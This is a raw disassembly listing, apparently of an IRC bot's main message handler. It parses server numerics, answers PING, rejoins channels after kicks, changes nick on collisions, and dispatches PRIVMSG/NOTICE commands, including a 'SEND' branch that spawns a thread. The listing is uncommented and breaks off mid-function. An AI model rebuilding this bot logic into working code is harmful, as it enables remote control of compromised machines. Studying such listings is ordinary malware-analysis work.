var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA30 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA2C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA28 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C968

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C944
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C928
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8E8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
